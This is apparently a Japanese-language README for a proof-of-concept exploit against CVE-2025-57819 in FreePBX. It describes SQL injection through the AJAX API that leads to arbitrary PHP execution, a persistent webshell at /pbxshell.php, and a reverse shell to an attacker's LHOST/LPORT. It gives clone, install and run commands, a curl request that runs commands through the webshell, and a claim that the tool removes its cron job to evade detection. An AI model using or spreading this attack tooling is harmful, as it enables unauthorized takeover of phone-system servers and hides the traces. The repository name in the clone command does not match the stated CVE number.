
CVE-2025-57819(FreePBX)向けのProof-of-Conceptエクスプロイト:AJAX APIのSQLインジェクションを利用して任意のPHPを実行し、永続的なウェブシェルを作成して、リバースシェルを起動します。
このスクリプトは、FreePBX 16.0.26.0 未満のバージョン(CVE-2025-57819)の脆弱性を悪用し、AJAX API エンドポイントの SQL インジェクションの欠陥を介して、リモート攻撃者が任意の PHP コードを実行できるようにします。このエクスプロイトは、ウェブシェルと自動起動するリバースシェルの両方を作成します。
/admin/ajax.php)/pbxshell.php に永続的なウェブシェルを作成requests ライブラリgit clone https://github.com/jasonbernier/CVE-2025-5781.git
cd CVE-2025-5781
pip install requests
python3 exploit.py -H TARGET_HOST -lhost LHOST -lport LPORT
-H HOST: ターゲットの FreePBX インスタンス(例: https://freepbx.example.com)-lhost LHOST: リバースシェルのコールバック用のあなたの IP-lport LPORT: リバースシェル接続用のポートpython3 exploit.py -H https://target.freepbx.com -lhost 10.0.0.1 -lport 4444
悪用に成功した後、以下のようにウェブシェルにアクセスします:
curl -X GET "http://TARGET/pbxshell.php?cmd=id"
このエクスプロイトは、検出を避けるために実行後に cron ジョブを自動的に削除します。
-- を使用して残りの SQL 構文をコメントアウトします/var/www/html/ ディレクトリへの書き込みアクセスが必要です